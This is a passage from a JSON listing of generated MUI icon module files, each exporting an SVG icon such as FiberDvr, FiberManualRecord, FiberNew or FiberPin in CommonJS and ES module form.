    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5h2v1h-2zm-13 0h2v3h-2zM21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2M8 13.5c0 .85-.65 1.5-1.5 1.5H3V9h3.5c.85 0 1.5.65 1.5 1.5zm4.62 1.5h-1.5L9.37 9h1.5l1 3.43 1-3.43h1.5zM21 11.5c0 .6-.4 1.15-.9 1.4L21 15h-1.5l-.85-2H17.5v2H16V9h3.5c.85 0 1.5.65 1.5 1.5z\"\n}), 'FiberDvr');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.87 12.43-1-3.43h-1.5l1.75 6h1.5l1.75-6h-1.5zM21 11.5v-1c0-.85-.65-1.5-1.5-1.5H16v6h1.5v-2h1.15l.85 2H21l-.9-2.1c.5-.25.9-.8.9-1.4m-1.5 0h-2v-1h2zM6.5 9H3v6h3.5c.85 0 1.5-.65 1.5-1.5v-3C8 9.65 7.35 9 6.5 9m0 4.5h-2v-3h2z\"\n}), 'FiberDvrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.87 12.43-1-3.43h-1.5l1.75 6h1.5l1.75-6h-1.5zM21 11.5v-1c0-.85-.65-1.5-1.5-1.5H16v6h1.5v-2h1.15l.85 2H21l-.9-2.1c.5-.25.9-.8.9-1.4m-1.5 0h-2v-1h2zM6.5 9H3v6h3.5c.85 0 1.5-.65 1.5-1.5v-3C8 9.65 7.35 9 6.5 9m0 4.5h-2v-3h2z\"\n}), 'FiberDvrOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 10.5h2v3h-2zm13 0h2v1h-2zM21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2M8 13.5c0 .83-.67 1.5-1.5 1.5h-3c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h3c.83 0 1.5.67 1.5 1.5zm6.1-3.58-1.27 4.36c-.12.43-.52.72-.96.72s-.84-.29-.96-.72L9.64 9.92c-.14-.46.21-.92.69-.92.32 0 .6.21.69.52l.85 2.91.85-2.91c.09-.31.37-.52.69-.52.48 0 .83.46.69.92M21 11.5c0 .6-.4 1.15-.9 1.4l.63 1.48c.19.45-.14.96-.63.96-.28 0-.53-.16-.63-.42L18.65 13H17.5v1.31c0 .38-.31.69-.69.69h-.12c-.38 0-.69-.31-.69-.69V9.64c0-.35.29-.64.64-.64h2.86c.83 0 1.5.67 1.5 1.5z\"\n}), 'FiberDvrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 10.5h2v3h-2zm13 0h2v1h-2zM21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2M8 13.5c0 .83-.67 1.5-1.5 1.5h-3c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h3c.83 0 1.5.67 1.5 1.5zm6.1-3.58-1.27 4.36c-.12.43-.52.72-.96.72s-.84-.29-.96-.72L9.64 9.92c-.14-.46.21-.92.69-.92.32 0 .6.21.69.52l.85 2.91.85-2.91c.09-.31.37-.52.69-.52.48 0 .83.46.69.92M21 11.5c0 .6-.4 1.15-.9 1.4l.63 1.48c.19.45-.14.96-.63.96-.28 0-.53-.16-.63-.42L18.65 13H17.5v1.31c0 .38-.31.69-.69.69h-.12c-.38 0-.69-.31-.69-.69V9.64c0-.35.29-.64.64-.64h2.86c.83 0 1.5.67 1.5 1.5z\"\n}), 'FiberDvrRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 10.5h2v1h-2zm-13 0h2v3h-2zM23 3H1v18h22zM8 13.5c0 .85-.65 1.5-1.5 1.5H3V9h3.5c.85 0 1.5.65 1.5 1.5zm4.62 1.5h-1.5L9.37 9h1.5l1 3.43 1-3.43h1.5zM21 12.9h-.9L21 15h-1.5l-.85-2H17.5v2H16V9h5z\"\n}), 'FiberDvrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 10.5h2v1h-2zm-13 0h2v3h-2zM23 3H1v18h22zM8 13.5c0 .85-.65 1.5-1.5 1.5H3V9h3.5c.85 0 1.5.65 1.5 1.5zm4.62 1.5h-1.5L9.37 9h1.5l1 3.43 1-3.43h1.5zM21 12.9h-.9L21 15h-1.5l-.85-2H17.5v2H16V9h5z\"\n}), 'FiberDvrSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11.56v-.89c0-.76-.58-1.33-1.33-1.33h-3.11v5.33h1.33v-1.78h1.02l.76 1.78H20l-.8-1.87c.44-.22.8-.71.8-1.24m-1.33 0h-1.78v-.89h1.78zM7.11 9.33H4v5.33h3.11c.76 0 1.33-.58 1.33-1.33v-2.67c0-.75-.57-1.33-1.33-1.33m0 4H5.33v-2.67h1.78zm7-4h-1.34l-.89 3.05L11 9.33H9.66l1.56 5.34h1.33z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h18v14H3z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 16H3V5h18z\"\n}, \"2\")], 'FiberDvrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberDvrTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11.56v-.89c0-.76-.58-1.33-1.33-1.33h-3.11v5.33h1.33v-1.78h1.02l.76 1.78H20l-.8-1.87c.44-.22.8-.71.8-1.24m-1.33 0h-1.78v-.89h1.78zM7.11 9.33H4v5.33h3.11c.76 0 1.33-.58 1.33-1.33v-2.67c0-.75-.57-1.33-1.33-1.33m0 4H5.33v-2.67h1.78zm7-4h-1.34l-.89 3.05L11 9.33H9.66l1.56 5.34h1.33z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h18v14H3z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.11 0-2 .89-2 2v14c0 1.1.89 2 2 2h18c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 16H3V5h18z\"\n}, \"2\")], 'FiberDvrTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecord.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecord');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecord.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecord');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0-2c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8\"\n}), 'FiberManualRecordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6m0-2c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8\"\n}), 'FiberManualRecordOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecordRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"8\"\n}), 'FiberManualRecordSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-14c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}, \"1\")], 'FiberManualRecordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberManualRecordTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-14c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6 2.69-6 6-6\"\n}, \"1\")], 'FiberManualRecordTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M8.5 15H7.3l-2.55-3.5V15H3.5V9h1.25l2.5 3.5V9H8.5zm5-4.74H11v1.12h2.5v1.26H11v1.11h2.5V15h-4V9h4zm7 3.74c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1V9h1.25v4.51h1.13V9.99h1.25v3.51h1.12V9h1.25z\"\n}), 'FiberNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNew.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M8.5 15H7.3l-2.55-3.5V15H3.5V9h1.25l2.5 3.5V9H8.5zm5-4.74H11v1.12h2.5v1.26H11v1.11h2.5V15h-4V9h4zm7 3.74c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1V9h1.25v4.51h1.13V9.99h1.25v3.51h1.12V9h1.25z\"\n}), 'FiberNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.25 12.5 4.75 9H3.5v6h1.25v-3.5L7.3 15h1.2V9H7.25zM9.5 15h4v-1.25H11v-1.11h2.5v-1.26H11v-1.12h2.5V9h-4zm9.75-6v4.5h-1.12V9.99h-1.25v3.52h-1.13V9H14.5v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V9z\"\n}), 'FiberNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.25 12.5 4.75 9H3.5v6h1.25v-3.5L7.3 15h1.2V9H7.25zM9.5 15h4v-1.25H11v-1.11h2.5v-1.26H11v-1.12h2.5V9h-4zm9.75-6v4.5h-1.12V9.99h-1.25v3.52h-1.13V9H14.5v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V9z\"\n}), 'FiberNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M8.5 14.21c0 .43-.36.79-.79.79-.25 0-.49-.12-.64-.33L4.75 11.5v2.88c0 .35-.28.62-.62.62s-.63-.28-.63-.62V9.79c0-.43.36-.79.79-.79h.05c.26 0 .5.12.65.33l2.26 3.17V9.62c0-.34.28-.62.63-.62s.62.28.62.62zm5-4.57c0 .35-.28.62-.62.62H11v1.12h1.88c.35 0 .62.28.62.62v.01c0 .35-.28.62-.62.62H11v1.11h1.88c.35 0 .62.28.62.62 0 .35-.28.62-.62.62h-2.53c-.47 0-.85-.38-.85-.85v-4.3c0-.45.38-.83.85-.83h2.53c.35 0 .62.28.62.62zm7 4.36c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1V9.62c0-.34.28-.62.62-.62s.62.28.62.62v3.89h1.13v-2.9c0-.35.28-.62.62-.62s.62.28.62.62v2.89h1.12V9.62c0-.35.28-.62.62-.62s.62.28.62.62V14z\"\n}), 'FiberNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M8.5 14.21c0 .43-.36.79-.79.79-.25 0-.49-.12-.64-.33L4.75 11.5v2.88c0 .35-.28.62-.62.62s-.63-.28-.63-.62V9.79c0-.43.36-.79.79-.79h.05c.26 0 .5.12.65.33l2.26 3.17V9.62c0-.34.28-.62.63-.62s.62.28.62.62zm5-4.57c0 .35-.28.62-.62.62H11v1.12h1.88c.35 0 .62.28.62.62v.01c0 .35-.28.62-.62.62H11v1.11h1.88c.35 0 .62.28.62.62 0 .35-.28.62-.62.62h-2.53c-.47 0-.85-.38-.85-.85v-4.3c0-.45.38-.83.85-.83h2.53c.35 0 .62.28.62.62zm7 4.36c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1V9.62c0-.34.28-.62.62-.62s.62.28.62.62v3.89h1.13v-2.9c0-.35.28-.62.62-.62s.62.28.62.62v2.89h1.12V9.62c0-.35.28-.62.62-.62s.62.28.62.62V14z\"\n}), 'FiberNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM8.5 15H7.3l-2.55-3.5V15H3.5V9h1.25l2.5 3.5V9H8.5zm5-4.74H11v1.12h2.5v1.26H11v1.11h2.5V15h-4V9h4zm7 4.74h-6V9h1.25v4.51h1.13V9.99h1.25v3.51h1.12V9h1.25z\"\n}), 'FiberNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM8.5 15H7.3l-2.55-3.5V15H3.5V9h1.25l2.5 3.5V9H8.5zm5-4.74H11v1.12h2.5v1.26H11v1.11h2.5V15h-4V9h4zm7 4.74h-6V9h1.25v4.51h1.13V9.99h1.25v3.51h1.12V9h1.25z\"\n}), 'FiberNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.12 14.47V9.53H8.09v2.88L6.03 9.53H5v4.94h1.03v-2.88l2.1 2.88zm4.12-3.9V9.53h-3.3v4.94h3.3v-1.03h-2.06v-.91h2.06v-1.04h-2.06v-.92zm.82-1.04v4.12c0 .45.37.82.82.82h3.29c.45 0 .82-.37.82-.82V9.53h-1.03v3.71h-.92v-2.89h-1.03v2.9h-.93V9.53z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'FiberNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberNewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.12 14.47V9.53H8.09v2.88L6.03 9.53H5v4.94h1.03v-2.88l2.1 2.88zm4.12-3.9V9.53h-3.3v4.94h3.3v-1.03h-2.06v-.91h2.06v-1.04h-2.06v-.92zm.82-1.04v4.12c0 .45.37.82.82.82h3.29c.45 0 .82-.37.82-.82V9.53h-1.03v3.71h-.92v-2.89h-1.03v2.9h-.93V9.53z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v12H4z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'FiberNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.5 10.5h2v1h-2zM20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M9 11.5c0 .85-.65 1.5-1.5 1.5h-2v2H4V9h3.5c.85 0 1.5.65 1.5 1.5zm3.5 3.5H11V9h1.5zm7.5 0h-1.2l-2.55-3.5V15H15V9h1.25l2.5 3.5V9H20z\"\n}), 'FiberPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.5 10.5h2v1h-2zM20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2M9 11.5c0 .85-.65 1.5-1.5 1.5h-2v2H4V9h3.5c.85 0 1.5.65 1.5 1.5zm3.5 3.5H11V9h1.5zm7.5 0h-1.2l-2.55-3.5V15H15V9h1.25l2.5 3.5V9H20z\"\n}), 'FiberPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h1.5V9H11zm7.75-6v3.5L16.25 9H15v6h1.25v-3.5L18.8 15H20V9zM7.5 9H4v6h1.5v-2h2c.85 0 1.5-.65 1.5-1.5v-1C9 9.65 8.35 9 7.5 9m0 2.5h-2v-1h2z\"\n}), 'FiberPinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiberPinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h1.5V9H11zm7.75-6v3.5L16.25 9H15v6h1.25v-3.5L18.8 15H20V9zM7.5 9H4v6h1.5v-2h2c.85 0 1.5-.65 1.5-1.5v-1C9 9.65 8.35 9 7.5 9m0 2.5h-2v-1h2z\"\n}), 'FiberPinOutlined');"
  },
  {
